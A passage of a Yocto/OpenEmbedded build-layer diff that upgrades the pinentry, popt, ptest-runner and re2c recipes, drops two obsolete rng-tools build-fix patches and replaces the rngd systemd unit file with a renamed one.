diff --git a/meta/recipes-support/pinentry/pinentry-1.2.1/libassuan_pkgconf.patch b/meta/recipes-support/pinentry/pinentry-1.2.1/libassuan_pkgconf.patch
new file mode 100644
index 0000000000..f4aec2d1c3
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry-1.2.1/libassuan_pkgconf.patch
@@ -0,0 +1,170 @@
+From 26fb6c3faa27180c8ed9ada1728c3d8683a65f3a Mon Sep 17 00:00:00 2001
+From: Armin Kuster <akuster@mvista.com>
+Date: Thu, 22 May 2014 10:50:00 +0100
+Subject: [PATCH] libassuan: Improve pkgconfig support
+
+Convert to pkg-config support to match changes done to
+the libassuan recipe for libassuan.pc generation.
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Armin Kuster <akuster@mvista.com>
+
+---
+ configure.ac | 4 +--
+ m4/libassuan.m4 | 93 ++++---------------------------------------------
+ 2 files changed, 9 insertions(+), 88 deletions(-)
+
+diff --git a/configure.ac b/configure.ac
+index d8dcc0c..ca51766 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -267,8 +267,8 @@ if test "$have_libassuan" = "yes"; then
+ [version of the libassuan library])
+ fi
+
+-COMMON_CFLAGS="$LIBASSUAN_CFLAGS $COMMON_CFLAGS"
+-COMMON_LIBS="$LIBASSUAN_LIBS $COMMON_LIBS"
++COMMON_CFLAGS="$LIBASSUAN_COMMON_CFLAGS $COMMON_CFLAGS"
++COMMON_LIBS="$LIBASSUAN_COMMON_LIBS $COMMON_LIBS"
+
+
+ dnl Checks for libsecmem.
+diff --git a/m4/libassuan.m4 b/m4/libassuan.m4
+index df50484..2057412 100644
+--- a/m4/libassuan.m4
++++ b/m4/libassuan.m4
+@@ -15,30 +15,8 @@ dnl
+ dnl Common code used for libassuan detection [internal]
+ dnl Returns ok set to yes or no.
+ dnl
+-AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- AC_ARG_WITH(libassuan-prefix,
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
+- [prefix where LIBASSUAN is installed (optional)]),
+- libassuan_config_prefix="$withval", libassuan_config_prefix="")
+- if test x$libassuan_config_prefix != x ; then
+- if test x${LIBASSUAN_CONFIG+set} != xset ; then
+- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
+- fi
+- fi
+-
+- use_gpgrt_config=""
+- if test x"${LIBASSUAN_CONFIG}" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG libassuan --exists; then
+- LIBASSUAN_CONFIG="$GPGRT_CONFIG libassuan"
+- AC_MSG_NOTICE([Use gpgrt-config as libassuan-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(LIBASSUAN_CONFIG, libassuan-config, no)
+- fi
+-
++AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
++[
+ tmp=ifelse([$1], ,1:0.9.2,$1)
+ if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
+ req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
+@@ -48,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ min_libassuan_version="$tmp"
+ fi
+
+- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
+- ok=no
+- if test "$LIBASSUAN_CONFIG" != "no"; then
+- req_major=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- req_micro=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
+-
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
+- else
+- libassuan_config_version=`$LIBASSUAN_CONFIG --modversion`
+- fi
+- major=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- micro=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
+-
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -gt "$req_minor"; then
+- ok=yes
+- else
+- if test "$minor" -eq "$req_minor"; then
+- if test "$micro" -ge "$req_micro"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- fi
+- fi
+-
+- if test $ok = yes; then
+- AC_MSG_RESULT([yes ($libassuan_config_version)])
+- else
+- AC_MSG_RESULT(no)
+- fi
++ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
+
+ if test $ok = yes; then
+ if test "$req_libassuan_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
+- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
+- else
+- tmp=`$LIBASSUAN_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
++ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
+ if test "$tmp" -gt 0 ; then
+ AC_MSG_CHECKING([LIBASSUAN API version])
+ if test "$req_libassuan_api" -eq "$tmp" ; then
+@@ -114,11 +45,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+
+ if test $ok = yes; then
+ if test x"$host" != x ; then
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
+- else
+- libassuan_config_host=`$LIBASSUAN_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
+ if test x"$libassuan_config_host" != xnone ; then
+ if test x"$libassuan_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -141,7 +68,7 @@ dnl Test whether libassuan has at least MINIMUM-VERSION. This is
+ dnl used to test for features only available in newer versions.
+ dnl
+ AC_DEFUN([AM_CHECK_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+ ifelse([$2], , :, [$2])
+ else
+@@ -157,16 +84,10 @@ dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+ dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
+ dnl
+ AC_DEFUN([AM_PATH_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG --cflags`
+- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG --libs`
+ ifelse([$2], , :, [$2])
+ else
+- LIBASSUAN_CFLAGS=""
+- LIBASSUAN_LIBS=""
+ ifelse([$3], , :, [$3])
+ fi
+- AC_SUBST(LIBASSUAN_CFLAGS)
+- AC_SUBST(LIBASSUAN_LIBS)
+ ])
diff --git a/meta/recipes-support/pinentry/pinentry_1.1.0.bb b/meta/recipes-support/pinentry/pinentry_1.1.0.bb
deleted file mode 100644
index d9ca0732f7..0000000000
--- a/meta/recipes-support/pinentry/pinentry_1.1.0.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
-DESCRIPTION = "\
- Pinentry is a collection of simple PIN or passphrase entry dialogs which \
- utilize the Assuan protocol as described by the aegypten project; see \
- http://www.gnupg.org/aegypten/ for details."
-
-HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
-
-DEPENDS = "gettext-native libassuan libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://libassuan_pkgconf.patch \
- file://gpg-error_pkconf.patch \
-"
-
-SRC_URI[md5sum] = "3829315cb0a1e9cedc05ffe6def7a2c6"
-SRC_URI[sha256sum] = "68076686fa724a290ea49cdf0d1c0c1500907d1b759a3bcbfbec0293e8f56570"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "ncurses libcap"
-
-PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
-PACKAGECONFIG[libcap] = "--with-libcap, --without-libcap, libcap"
-PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
-PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
-
-PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
-
-EXTRA_OECONF = " \
- --disable-rpath \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/pinentry/pinentry_1.2.1.bb b/meta/recipes-support/pinentry/pinentry_1.2.1.bb
new file mode 100644
index 0000000000..7daf80f36e
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry_1.2.1.bb
@@ -0,0 +1,38 @@
+SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
+DESCRIPTION = "\
+ Pinentry is a collection of simple PIN or passphrase entry dialogs which \
+ utilize the Assuan protocol as described by the aegypten project; see \
+ http://www.gnupg.org/aegypten/ for details."
+
+HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
+
+DEPENDS = "gettext-native libassuan libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://libassuan_pkgconf.patch \
+ file://gpg-error_pkconf.patch \
+"
+
+SRC_URI[sha256sum] = "457a185e5a85238fb945a955dc6352ab962dc8b48720b62fc9fa48c7540a4067"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "ncurses"
+
+PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
+PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
+PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
+
+PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
+
+EXTRA_OECONF = " \
+ --disable-rpath \
+"
+EXTRA_OECONF:append:libc-musl = " \
+ ac_cv_should_define__xopen_source=yes \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/popt/popt/run-ptest b/meta/recipes-support/popt/popt/run-ptest
new file mode 100644
index 0000000000..85754035d0
--- /dev/null
+++ b/meta/recipes-support/popt/popt/run-ptest
@@ -0,0 +1,3 @@
+#!/bin/sh
+
+./testit.sh
diff --git a/meta/recipes-support/popt/popt_1.18.bb b/meta/recipes-support/popt/popt_1.18.bb
deleted file mode 100644
index 022ece5f47..0000000000
--- a/meta/recipes-support/popt/popt_1.18.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-SUMMARY = "Library for parsing command line options"
-HOMEPAGE = "https://www.rpm.org/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cb0613c30af2a8249b8dcc67d3edb06d"
-
-DEPENDS = "virtual/libiconv"
-
-SRC_URI = "http://ftp.rpm.org/popt/releases/popt-1.x/${BP}.tar.gz"
-SRC_URI[sha256sum] = "5159bc03a20b28ce363aa96765f37df99ea4d8850b1ece17d1e6ad5c24fdc5d1"
-
-inherit autotools gettext
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/popt/popt_1.19.bb b/meta/recipes-support/popt/popt_1.19.bb
new file mode 100644
index 0000000000..b1d8bea790
--- /dev/null
+++ b/meta/recipes-support/popt/popt_1.19.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Library for parsing command line options"
+DESCRIPTION = "Popt is a C library for parsing command line parameters. Popt was heavily influenced by the getopt() and getopt_long() functions, but it improves on them by allowing more powerful argument expansion. Popt can parse arbitrary argv[] style arrays and automatically set variables based on command line arguments."
+HOMEPAGE = "https://www.rpm.org/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=e0206ac9471d06667e076212db20c5f4"
+
+DEPENDS = "virtual/libiconv"
+
+SRC_URI = "http://ftp.rpm.org/popt/releases/popt-1.x/${BP}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[sha256sum] = "c25a4838fc8e4c1c8aacb8bd620edb3084a3d63bf8987fdad3ca2758c63240f9"
+
+inherit autotools gettext ptest
+
+RDEPENDS:${PN}-ptest += "bash"
+
+do_compile_ptest() {
+ sed 's#lt-test1#test1#g' ${S}/tests/testit.sh > ${B}/tests/testit.sh
+}
+
+do_install_ptest() {
+ install ${B}/tests/.libs/test* ${D}/${PTEST_PATH}
+ install ${B}/tests/.libs/tdict ${D}/${PTEST_PATH}
+ install ${B}/tests/testit.sh ${D}/${PTEST_PATH}
+ install ${B}/tests/test-poptrc ${D}/${PTEST_PATH}
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb
deleted file mode 100644
index 0a3186dac4..0000000000
--- a/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "A C program to run all installed ptests"
-DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
-program which loops through all installed ptest test suites and \
-runs them in sequence."
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
-
-SRCREV = "1e9a84585909b970cc8850d3ea02a7215dcfa5a3"
-PV = "2.4.0+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/ptest-runner2 \
-"
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-S = "${WORKDIR}/git"
-
-FILES_${PN} = "${bindir}/ptest-runner"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
-
-do_compile () {
- oe_runmake
-}
-
-do_install () {
- install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
-}
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.4.3.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.4.3.bb
new file mode 100644
index 0000000000..e6668da01f
--- /dev/null
+++ b/meta/recipes-support/ptest-runner/ptest-runner_2.4.3.bb
@@ -0,0 +1,39 @@
+SUMMARY = "A C program to run all installed ptests"
+DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
+program which loops through all installed ptest test suites and \
+runs them in sequence."
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
+
+SRCREV = "92c1b97bfdb4a94acc1cabcaf97eef52dc29144c"
+PV .= "+git"
+
+SRC_URI = "git://git.yoctoproject.org/ptest-runner2;branch=master;protocol=https \
+"
+
+S = "${WORKDIR}/git"
+
+FILES:${PN} = "${bindir}/ptest-runner ${bindir}/ptest-runner-collect-system-data"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
+ install -D -m 0755 ${S}/ptest-runner-collect-system-data ${D}${bindir}/ptest-runner-collect-system-data
+}
+
+RDEPENDS:${PN}:append:libc-glibc = " libgcc"
+
+# pstree is called by ptest-runner-collect-system-data
+RDEPENDS:${PN}:append = " pstree"
+
+# Create a non-root user that test suites can use easily
+inherit useradd
+USERADD_PACKAGES = "${PN}"
+USERADD_PARAM:${PN} = "--system --no-create-home --home / --user-group ptest"
diff --git a/meta/recipes-support/re2c/re2c_2.0.bb b/meta/recipes-support/re2c/re2c_2.0.bb
deleted file mode 100644
index b73b024072..0000000000
--- a/meta/recipes-support/re2c/re2c_2.0.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Tool for writing very fast and very flexible scanners"
-HOMEPAGE = "http://re2c.sourceforge.net/"
-AUTHOR = "Marcus Börger <helly@users.sourceforge.net>"
-SECTION = "devel"
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=64eca4d8a3b67f9dc7656094731a2c8d"
-
-SRC_URI = "https://github.com/skvadrik/re2c/releases/download/${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "89a9d7ee14be10e3779ea7b2c8ea4a964afce6e76b8dbcd5479940681db46d20"
-UPSTREAM_CHECK_URI = "https://github.com/skvadrik/re2c/releases"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit autotools
diff --git a/meta/recipes-support/re2c/re2c_3.1.bb b/meta/recipes-support/re2c/re2c_3.1.bb
new file mode 100644
index 0000000000..a4b20422f6
--- /dev/null
+++ b/meta/recipes-support/re2c/re2c_3.1.bb
@@ -0,0 +1,15 @@
+SUMMARY = "Tool for writing very fast and very flexible scanners"
+DESCRIPTION = "A free and open-source lexer generator for C, C++ and Go. It compiles regular expressions to determinisitic finite automata and encodes the automata in the form of a program in the target language. Unlike any other such tool, re2c focuses on generating high efficient code for regular expression matching. As a result this allows a much broader range of use than any traditional lexer."
+HOMEPAGE = "http://re2c.org/"
+BUGTRACKER = "https://github.com/skvadrik/re2c/issues"
+SECTION = "devel"
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=64eca4d8a3b67f9dc7656094731a2c8d"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "0ac299ad359e3f512b06a99397d025cfff81d3be34464ded0656f8a96676c029"
+GITHUB_BASE_URI = "https://github.com/skvadrik/re2c/releases"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools github-releases
diff --git a/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch b/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch
deleted file mode 100644
index 96301617b2..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From a4b6d9ce64f132e463b9091d0536913ddaf11516 Mon Sep 17 00:00:00 2001
-From: Neil Horman <nhorman@tuxdriver.com>
-Date: Thu, 30 Apr 2020 16:57:35 -0400
-Subject: [PATCH] Remove name conflict with libc encrypt
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Forgot to fixup the funciton name conflict with libcs encrypt() function
-on power systems
-
-Upstream-Status: Backport [https://github.com/nhorman/rng-tools/commit/a4b6d9ce64f132e463b9091d0536913ddaf11516]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
-Reported-by: Natanael Copa <ncopa@alpinelinux.org>
-Reported-by: "Milan P. Stanić" <mps@arvanta.net>
----
- rngd_darn.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/rngd_darn.c b/rngd_darn.c
-index 35df7a1..9345895 100644
---- a/rngd_darn.c
-+++ b/rngd_darn.c
-@@ -109,7 +109,7 @@ static int init_openssl(struct rng *ent_src)
- return 0;
- }
-
--int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
-+static int osslencrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- unsigned char *iv, unsigned char *ciphertext)
- {
- int len;
-@@ -150,7 +150,7 @@ static inline int openssl_mangle(unsigned char *tmp, struct rng *ent_src)
- unsigned char ciphertext[CHUNK_SIZE * RDRAND_ROUNDS];
-
- /* Encrypt the plaintext */
-- ciphertext_len = encrypt (tmp, strlen(tmp), key, iv_buf,
-+ ciphertext_len = osslencrypt (tmp, strlen(tmp), key, iv_buf,
- ciphertext);
- printf("Calling mangle with len %d\n", ciphertext_len);
- if (!ciphertext_len)
diff --git a/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch b/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch
deleted file mode 100644
index 93103ef79f..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From dab16a5fd4efde8ef569b358e19b1fcbc7d0d938 Mon Sep 17 00:00:00 2001
-From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Date: Mon, 30 Mar 2020 00:10:46 +0200
-Subject: [PATCH] rngd_jitter: disambiguate call to encrypt
-
-Commit 0f184ea7e792427fb20afe81d471b565aee96f0b disambiguate the call to
-encrypt in rngd_rdrand.c but did not update rngd_jitter.c.
-
-This raise the following build failure:
-
-rngd_jitter.c:75:12: error: conflicting types for 'encrypt'
- static int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- ^~~~~~~
-In file included from rngd_jitter.c:27:
-/home/dawncrow/buildroot-test/scripts/instance-0/output-1/host/powerpc-buildroot-linux-uclibc/sysroot/usr/include/unistd.h:1132:13: note: previous declaration of 'encrypt' was here
- extern void encrypt (char *__block, int __edflag) __THROW __nonnull ((1));
- ^~~~~~~
-Makefile:770: recipe for target 'rngd-rngd_jitter.o' failed
-
-Fixes:
- - http://autobuild.buildroot.org/results/0ca6bf16e3acbc94065b88c4442d6595424b77cb
-
-Upstream-Status: Backport [https://github.com/nhorman/rng-tools/commit/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
----
- rngd_jitter.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/rngd_jitter.c b/rngd_jitter.c
-index c1b1aca..49a3825 100644
---- a/rngd_jitter.c
-+++ b/rngd_jitter.c
-@@ -72,7 +72,7 @@ unsigned char *aes_buf;
- char key[AES_BLOCK];
- static unsigned char iv_buf[CHUNK_SIZE] __attribute__((aligned(128)));
-
--static int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
-+static int osslencrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- unsigned char *iv, unsigned char *ciphertext)
- {
- EVP_CIPHER_CTX *ctx;
-@@ -122,7 +122,7 @@ static inline int openssl_mangle(unsigned char *tmp, struct rng *ent_src)
- unsigned char ciphertext[CHUNK_SIZE * RDRAND_ROUNDS];
-
- /* Encrypt the plaintext */
-- ciphertext_len = encrypt (tmp, strlen(tmp), key, iv_buf,
-+ ciphertext_len = osslencrypt (tmp, strlen(tmp), key, iv_buf,
- ciphertext);
- if (!ciphertext_len)
- return -1;
diff --git a/meta/recipes-support/rng-tools/rng-tools/rng-tools.service b/meta/recipes-support/rng-tools/rng-tools/rng-tools.service
new file mode 100644
index 0000000000..5ae2fba215
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools/rng-tools.service
@@ -0,0 +1,32 @@
+[Unit]
+Description=Hardware RNG Entropy Gatherer Daemon
+DefaultDependencies=no
+Conflicts=shutdown.target
+Before=sysinit.target shutdown.target
+ConditionVirtualization=!container
+
+[Service]
+EnvironmentFile=-@SYSCONFDIR@/default/rng-tools
+ExecStart=@SBINDIR@/rngd -f $EXTRA_ARGS
+CapabilityBoundingSet=CAP_SYS_ADMIN
+IPAddressDeny=any
+LockPersonality=yes
+MemoryDenyWriteExecute=yes
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectControlGroups=yes
+ProtectHome=yes
+ProtectHostname=yes
+ProtectKernelModules=yes
+ProtectKernelLogs=yes
+ProtectSystem=strict
+RestrictAddressFamilies=AF_UNIX
+RestrictNamespaces=yes
+RestrictRealtime=yes
+RestrictSUIDSGID=yes
+SystemCallArchitectures=native
+SystemCallErrorNumber=EPERM
+SystemCallFilter=@system-service
+
+[Install]
+WantedBy=sysinit.target
diff --git a/meta/recipes-support/rng-tools/rng-tools/rngd.service b/meta/recipes-support/rng-tools/rng-tools/rngd.service
deleted file mode 100644
index 0559b97991..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/rngd.service
+++ /dev/null
@@ -1,32 +0,0 @@
-[Unit]
-Description=Hardware RNG Entropy Gatherer Daemon
-DefaultDependencies=no
-After=systemd-udev-settle.service
-Before=sysinit.target shutdown.target
-Conflicts=shutdown.target
-
-[Service]
-EnvironmentFile=-@SYSCONFDIR@/default/rng-tools
-ExecStart=@SBINDIR@/rngd -f $EXTRA_ARGS
-CapabilityBoundingSet=CAP_SYS_ADMIN
-IPAddressDeny=any
-LockPersonality=yes
-MemoryDenyWriteExecute=yes
-NoNewPrivileges=yes
-PrivateTmp=yes
-ProtectControlGroups=yes
-ProtectHome=yes
-ProtectHostname=yes
-ProtectKernelModules=yes
-ProtectKernelLogs=yes
-ProtectSystem=strict
-RestrictAddressFamilies=AF_UNIX
-RestrictNamespaces=yes
-RestrictRealtime=yes
-RestrictSUIDSGID=yes
-SystemCallArchitectures=native
-SystemCallErrorNumber=EPERM
-SystemCallFilter=@system-service
-
-[Install]
-WantedBy=sysinit.target
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.10.bb b/meta/recipes-support/rng-tools/rng-tools_6.10.bb
deleted file mode 100644
index 3f9720e406..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools_6.10.bb
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "Random number generator daemon"
-DESCRIPTION = "Check and feed random data from hardware device to kernel"
-AUTHOR = "Philipp Rumpf, Jeff Garzik <jgarzik@pobox.com>, \
- Henrique de Moraes Holschuh <hmh@debian.org>"
-HOMEPAGE = "https://github.com/nhorman/rng-tools"
-BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-DEPENDS = "sysfsutils openssl"
-
-SRC_URI = "\
- git://github.com/nhorman/rng-tools.git \
- file://a4b6d9ce64f132e463b9091d0536913ddaf11516.patch \
- file://dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch \
- file://init \
- file://default \
- file://rngd.service \
-"
-SRCREV = "0be82200a66d9321451e0a0785bfae350b9cffdc"
-
-S = "${WORKDIR}/git"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-EXTRA_OECONF = "--without-rtlsdr"
-
-PACKAGECONFIG ??= "libjitterentropy"
-PACKAGECONFIG_libc-musl = "libargp libjitterentropy"
-
-PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
-PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
-PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
-PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2 openssl"
-
-INITSCRIPT_NAME = "rng-tools"
-INITSCRIPT_PARAMS = "start 03 2 3 4 5 . stop 30 0 6 1 ."
-
-SYSTEMD_SERVICE_${PN} = "rngd.service"
-
-# Refer autogen.sh in rng-tools
-do_configure_prepend() {
- cp ${S}/README.md ${S}/README
-}
-
-do_install_append() {
- install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
- install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
- install -Dm 0644 ${WORKDIR}/rngd.service \
- ${D}${systemd_system_unitdir}/rngd.service
- sed -i \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${sysconfdir}/init.d/rng-tools \
- ${D}${systemd_system_unitdir}/rngd.service
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'nistbeacon', 'yes', 'no', d)}" = "yes" ]; then
- sed -i \
- -e '/^IPAddressDeny=any/d' \
- -e '/^RestrictAddressFamilies=/ s/$/ AF_INET AF_INET6/' \
- ${D}${systemd_system_unitdir}/rngd.service
- fi
-}
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.16.bb b/meta/recipes-support/rng-tools/rng-tools_6.16.bb
new file mode 100644
